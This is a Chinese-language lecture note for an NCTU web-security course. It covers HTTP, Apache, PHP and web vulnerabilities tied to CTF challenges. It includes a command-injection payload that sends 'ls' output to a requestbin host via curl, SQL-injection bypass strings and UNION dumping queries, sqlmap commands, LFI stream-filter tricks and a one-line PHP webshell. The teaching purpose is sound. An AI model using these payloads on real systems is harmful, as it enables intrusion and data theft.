# NCTU CSC 109A - Web I
https://reurl.cc/j5D012
#### 題目
https://bamboofox.cs.nctu.edu.tw/courses/12/challenges
#### 目錄
[TOC]
## 基礎
- 網址
- 表單
- GET, POST
- Cookie
## 瀏覽器 *
- 按 F12 可打開開發者工具 (e.g. FireFox)
- Inspect:可看瀏覽器解析過後的 HTML document
- Network:可列出瀏覽器做的 HTTP request
- Storage:可看or改 Cookie
- Console:可以互動式地打 JavaScript 來執行
- 如何改 cookie
> 🌝 [[Web] hello_web [1]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/235)
## 如何架站
### 什麼是 Web Server?
- 一個開在某個 "TCP port" 上,用 "HTTP" 這個「協定」跟瀏覽器溝通的程式。
- 瀏覽器說要看哪個網頁,Web Server 會回瀏覽器該網頁內容
- 80 port (http)
- 443 port (https) 有加密
### 在 Linux 系統上用 Apache 架網站
#### 架 server (Linux)
- VirtualBox + Linux ISO
- https://www.virtualbox.org/wiki/Downloads
- https://www.ubuntu-tw.org/modules/tinyd0/
- 用租的(有 public IP 到處都可以連):
- Linode
- Digital Ocean
- AWS
- Google Cloud
#### 安裝
```bash
sudo apt install apache2
```
#### 設定
- `/etc/apache2/apache2.conf`
- `/etc/apache2/sites-available/000-default.conf`
- `/etc/apache2/sites-available/` 寫不同 virtual host 的設定檔
- 將 `/etc/apache2/sites-available` 內的設定檔連結到 `/etc/apache2/sites-enabled` (apache 只會看 enabled 裡面的)
#### 寫個網頁放上去
- `/var/www/html/index.html`
```html
<h1>Test</h1>
```
- `/var/www/html/` 是預設的 document root
#### 裝 php
```shell
sudo apt install libapache2-mod-php7
```
### 前端
前端,就是伺服器傳給瀏覽器跑的東西,主要是使用者介面及和伺服器互動的程式。
- HTML
- 定義網頁結構
- CSS
- 定義網頁樣式
- JavaScript
- 動態更新網頁
- 和伺服器溝通
## 網頁檔案相關問題
### robots.txt
- `https://example.com/robots.txt` 是一個約定好的檔案,告訴 web bot 不要抓哪些路徑
- 此檔案常被用來找網站的敏感路徑!
### 網站設定
- Apache
設定檔寫 `Options +Indexes ...`
→ 若沒有 index 頁,會列出此目錄有哪些檔案
### .git *
- 很多人常把 git 目錄一起放到 document root(因為他可能用 GitHub 來存 code)
- 大多因為部署時很方便,只要 git pull 就可以更新網站
- 有工具可以把整份 code 載下來,例如 git-dumper
- git-dumper: https://github.com/arthaud/git-dumper
> 🌝 [[Web] git_dump [1]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/238)
### 上傳問題
- 如果我們能上傳任意副檔名的檔案,就可以上傳 xxx.php,若 apache (或其他 web server) 在上傳路徑也允許 php 檔案解析,就可以執行任意 php code。
- 此時我們可以上傳的 .php 檔案可被稱作後門,或 webshell
## HTTP 簡介
### HTTP
- **H**yper**T**ext **T**ransfer **P**rotocol
#### HTTP 運作在 TCP/IP 上
- TCP/IP 大致行為
- server:在某個 IP 的某個 port 上等待連線
- client:對某個 server 的 IP位址 和 port 建立連線
- 兩者可同時互傳資料
- `nc (netcat)` 是一個可以用來建立或等待 TCP 連線的指令
### 瀏覽器和伺服器的互動
- 瀏覽器發一個請求,伺服器給一個回應。
- 瀏覽器對伺服器建立TCP連線(一般來說是 port 80 或 443),並以 HTTP 作為訊息格式。
### 請求 (request) 的長相
```
GET /index.php HTTP/1.1
Host: www.google.com
User-Agent: curl/7.64.1
Accept: */*
```
#### Method
- GET
- POST(可以搭配 body)
- OPTIONS(取得資訊)
- HEAD(令伺服器不回傳 body)
- ... 還有各種 method
#### Request URI (就是檔案路徑+參數)
- `/robots.txt`
- `/post?id=12345`
- 有個參數 id 叫做 12345
- `/showUser?id=12345&name=%E9%BE%8D%E8%B2%93`
- 有個參數 id 為 "12345"
- 還有個參數 name,值為 "龍貓" (URL encode)
#### Headers
- `Content-Type`
- request body 的資料類型
- `Content-Length`
- request body 長度 (bytes)
- `Cookie`
- 伺服器儲存在瀏覽器的資料
#### Body
各種 `Content-Type`
- `application/x-www-form-urlencoded`:表單預設 content type
- `multipart/form-data`:上傳檔案用的 content type
- `application/json`:JSON
### 回應 (response) 格式
```http
HTTP/1.1 200 OK
Date: Sun, 19 Jul 2020 20:35:52 GMT
Expires: -1
Content-Type: text/html; charset=...
Content-Length: 12345
Server: abcdef
Set-Cookie: key=value; expires=Tue, 18-Aug-2020 20:35:52 GMT; path=/; domain=xxx.com; Secure
<!doctype html><html itemscope="...............
```
#### 狀態碼 (status code)
參考:https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status
- 2xx 成功
- 200 OK
- 3xx 不在這裡
- 301 Moved Permanently
- 搭配 response header `Location: 網址`
- 307 Temporary Redirect
- 搭配 response header `Location: 網址`
- 4xx 請求異常
- 400 Bad Request
- 401 Unauthorized
- 403 Forbidden
- 404 Not Found
- 5xx 伺服器異常
- 500 Internal Error
- 502 Bad Gateway
#### Headers
- `Location`
- 要重導向到哪裡?
- `Set-Cookie`
- 在瀏覽器上存 Cookie
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie
#### Body
### `curl`
`curl` 是一個用來做 HTTP request 的指令,基本用法:
```bash
# GET
curl URL
curl URL?user=123&pass=123
# POST
curl URL -d 'user=123&pass=123'
# POST multipart (file upload)
curl URL -F 'file=@/path/to/the/file'
curl URL -F 'file=@/path/to/the/file; filename=test.txt'
# HEAD
curl URL -I
# Any HTTP method
curl URL -X GET
curl URL -X POST
curl URL -X OPTIONS
curl URL -X ANY_METHOD
# Modify HTTP headers
curl URL -H 'User-Agent: pooh' -H 'Foo: Bar, baz'
# Request with cookies
curl URL -b 'user=a920c234-bfea-4d42-9c5e-c8acb10b1730; other_cookie_name=other_cookie_value'
# Save and use cookies
curl URL -c cookies.txt
curl URL -c cookies.txt -b cookies.txt
# Show detailed request & response info (verbose)
curl URL -v
```
事實上 curl 還支援許多 protocol:
DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP
## 後端入門
### PHP
其中一種常出問題的後端語言。
#### 角色
- Apache 會把 request 丟給 PHP 這個程式處理,他會去讀 .php 檔案然後執行。
- PHP 直譯器會去找被 `<?php ?>` 包起來的 code,然後執行,程式的輸出會被插在 `<?php ?>` 的位置
例如
```php
Hello <?php
echo 123;
?>!!!
```
拿去執行會產生
```
Hello 123!!!
```
#### 語言基礎
```php
// 基本上只有變數名稱要加 $ 比較特別一點
$a = 123;
$a = 'test';
$a = ['an', 'array'];
```
- 弱型別:`$a = 123; $b = [1, 2, 3]; $c = ['a' => 123];`
- 拿URL後的參數:`$_GET['x']`
- 拿POST的參數:`$_POST['x']`
- 列出變數:`var_dump($x)`
- 列出PHP設定:`phpinfo()`
- 設Cookie:`setcookie('a', '123')`
- 拿Cookie:`$_COOKIE['a']`
- Session:`session_start(); $_SESSION['x'] = 123;`
- 重導向:`header('Location: http://other.com/');`
## 網頁程式設計:常見例子
### 怎麼送出表單
格式
```html
<form action="(目標網址)" method="(HTTP Method)">
<input type="text" name="(欄位名稱)">
<input type="submit" value="送出">
</form>
```
#### 範例 1 (GET)
前端:
```html
<form action="view.php" method="GET">
<input type="text" name="id">
<input type="submit" value="送出">
</form>
```
後端:
```php
<?php
$id = $_GET['id'];
```
#### 範例 2 (POST)
前端:
```html
<form action="login.php" method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type=submit value="Login">
</form>
```
後端:
```php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
```
### 後端怎麼處理你的請求
- Apache 會把 request 解析好,丟給 PHP
- PHP 透過特殊變數存取 request 資訊
### 送出表單之後,後端怎麼處理
- PHP: `$_GET` 會有網址後的參數
- PHP: `$_POST` 會有 request body 的表單參數
### 網站如何記得你
- Server 回傳 `Set-Cookie` header,你收到 cookie 之後自己存起來
- 下次 request 到相同位置,你要夾帶 `Cookie` header,瀏覽器會看你的這些 header
- Cookie 的作用範圍
- https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Cookies#Cookies_%E7%9A%84%E4%BD%9C%E7%94%A8%E7%AF%84%E5%9C%8D
### 資料會存哪
- Cookies
- Session(加密存瀏覽器 cookie,或存在伺服器上用 cookie 紀錄 ID,通常不讓你看或修改)
- 只有前端可存取
- LocalStorage
- SessionStorage
- IndexedDB
### 用資料庫永久記錄你的資料
- 關聯式資料庫,通常使用 [SQL](https://www.w3schools.com/sql/) 作為和資料庫互動的媒介
- SQLite
- MySQL
- Postgres
- 其他
- MongoDB
- CouchDB
- Redis
- ...
### 網站該怎麼存你的密碼
- Hash
- md5?
- sha1?
- 這裡面標綠色的 hash 演算法比較安全
https://www.wikiwand.com/zh-hant/SHA%E5%AE%B6%E6%97%8F#/SHA%E5%87%BD%E6%95%B0%E5%AF%B9%E6%AF%94
### 怎麼上傳檔案
```html
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="upload_file">
<input type="submit">
</form>
```
詳細做法可看 https://blog.gtwang.org/programming/php-upload-files-tutorial/。
#### 測試 php 程式碼
1. `php -a` (互動式執行)
2. `psysh` (互動式執行,要安裝)
3. `php -S 0.0.0.0:8000` (開發用的 server)
## 字串內插導致的問題
https://hackmd.io/Uo6MHovLR9CbLDABf1C2LQ
### Command Injection
假設有一個這樣的 PHP code:
```php
$ip = $_GET['ip'];
system("ping -c 1 $ip");
```
- 你可以用 `ip=127.0.0.1; ls`,讓指令變成 `ping -c 1 127.0.0.1; ls` 來執行第二個指令。
- 一般來說,可以用 `$(sleep 10)` 來測有沒有 command injection 漏洞,或者 `'$(sleep 10)'` `"$(sleep 10"`
- cmdi_2
```
'$(curl${IFS}http://requestbin.net/r/1f5wwye1${IFS}-d${IFS}"$(ls)")'
```
### SQL Injection \*\*
學 SQL:https://www.w3schools.com/sql/sql_select.asp
```php
$user = $_POST['user'];
$hash = md5($_POST['pass']);
$db->query("SELECT * FROM users WHERE
username='$user' AND hashed_password='$hash'");
```
- 你可以POST `user=admin' -- &pass=123` 來修改 SQL 語句
→ 導致最後資料庫以為你是要 `SELECT * FROM users WHERE username='admin' -- ' AND hashed_password='202cb962ac59075b964b07152d234b70'`
→ 最後執行的是 `SELECT * FROM users WHERE username='admin'`
> 🌞 [[Web] basic_sqli [5]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/236)
MySQL 撈其他 table:
```sql
SELECT * FROM users WHERE name=123 UNION SELECT 1
-- error
SELECT * FROM users WHERE name=123 UNION SELECT 1,2
-- error
SELECT * FROM users WHERE name=123 UNION SELECT 1,2,3
-- 2
SELECT * FROM users WHERE name=123
UNION SELECT 1,GROUP_CONCAT(table_schema),3
FROM information_schema.tables
-- information_schema,db1
SELECT * FROM users WHERE name=123
UNION SELECT 1,GROUP_CONCAT(table_name),3
FROM information_schema.tables
WHERE table_schema = 'db1'
-- table1,table2,table3
SELECT * FROM users WHERE name=123
UNION SELECT 1,GROUP_CONCAT(column_name),3
FROM information_schema.columns
WHERE table_name = 'table1'
-- column1,column2,column3
SELECT * FROM users WHERE name=123
UNION SELECT 1,column1,3
FROM db1.table1
LIMIT 1 OFFSET 0
-- data
```
#### Error-based SQL injection
查詢結果會顯示在錯誤訊息的 sql injection。
#### Boolean-based SQL injection
只會回傳對錯(例如有沒有 select 到東西的 sql injection),可以慢慢猜出內容。
> 🌞 [[Web] blind_sqli [10]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/236)
#### Time-based SQL injection
使用 sleep(或者等效的 SQL 指令)判斷 SQL 條件式是否成立,藉此慢慢猜出內容。
#### Out-of-band SQL injection
透過其他管道送出 SQL 執行結果,例如 DNS, HTTP request 等等。
#### sqlmap 用法
```
sqlmap -u http://example.com/?id=123 --random-agent
sqlmap -u http://example.com/?id=123 --random-agent --dbs
sqlmap -u http://example.com/?id=123 --random-agent --D db1 --tables
sqlmap -u http://example.com/?id=123 --random-agent --D db1 -T table1 --columns
sqlmap -u http://example.com/?id=123 --random-agent --sql-shell
```
## PHP 的常見問題
### 為什麼 PHP 很容易寫出爛 code
- 容錯高,還有很多非預期的行為
- 例如:原本該放字串的地方放 array,該 function 只會回傳 NULL 和丟出一個 warning(可以用這個特性繞過檢查)
- 用之前乖乖看 manual
### include() *
可以 include 別的 PHP 檔案,所以你不用所有東西都寫在一起。
```php
include("config.php");
include("homepage.php");
```
#### LFI
以下範例,只要你能控制 `$page` 變數,你就可以 include 任何 php 檔案
```php
$page = $_GET['page'];
include("pages/$page.php");
```
用 include 看原始碼(詳見 [php stream filter](https://www.php.net/manual/en/stream.filters.php))
```php
include('php://filter/convert.base64-encode/resource=xxx.php');
// base64 encode 過後不會被 PHP 直譯器解析
```
> 🌞 [[Web] basic_lfi [5]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/239)
### file_get_contents()
不只會看檔案路徑,也會處理網址!
- `file://`
- `http://`
- `https://`
### strcmp()
https://www.php.net/manual/en/function.strcmp.php
```php
strcmp("test", "test"); // 0
strcmp("test", "test3"); // -1
strcmp("test3", "test"); // 1
strcmp("a", []); // NULL
strcmp("a", []) == 0; // TRUE, with warning
strcmp("a", []) === 0; // FALSE, with warning
```
### md5(), sha1()
只要你能控制 hash function 的輸入值,就可以讓它回傳 NULL,藉此繞過檢查。
```php
md5('123'); // "202cb962ac59075b964b07152d234b70"
md5([]); // NULL
sha1('123'); // "40bd001563085fc35165329ea1ff5c5ecbdbbeef"
sha1([]); // NULL
```
### 如何塞 array 給 PHP `$_GET` 或 `$_POST`
https://wp-mix.com/arrays-uri-requests/
### PHP 特有的 Stream Filters
讀取路徑時,先把檔案內容經過某些處理:
```php
file_get_contents('php://filter/convert.base64-encode/resource=test.php');
file_get_contents('php://filter/string.rot13/resource=test.php');
```
## 上傳問題 *
上傳檔名要檢查好,不然可以傳 webshell。如果上傳資料夾中的 .php 檔案會被解析,我們可以上傳 .php 來執行 code,以下俗稱一句話木馬:
```php
<?php
system($_GET['cmd']);
```
還有更好用且多功能的 webshell:
- https://github.com/b374k/b374k
> 🌞 [[Web] image_upload [10]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/240)
## 補充
### Wargame
- 可以玩玩看社團展的 wargame
- https://bamboofox.cs.nctu.edu.tw/courses/10/challenges
### Bug Bounty
挖漏洞賺錢
- Hackerone
- Bugcrowd
### 資源
- 凱哥的 Web CTF 小抄
https://github.com/w181496/Web-CTF-Cheatsheet
- 某簡體中文 Web 安全筆記
https://websec.readthedocs.io/zh/latest/index.html
- PortSwigger
https://portswigger.net/web-security
https://portswigger.net/research
- Web 安全統整
https://github.com/qazbnm456/awesome-web-security
- OWASP Top 10
https://owasp.org/www-project-top-ten/
- OSCP, Kali Linux, Metasploit 滲透相關的東東
- exploit-db.com/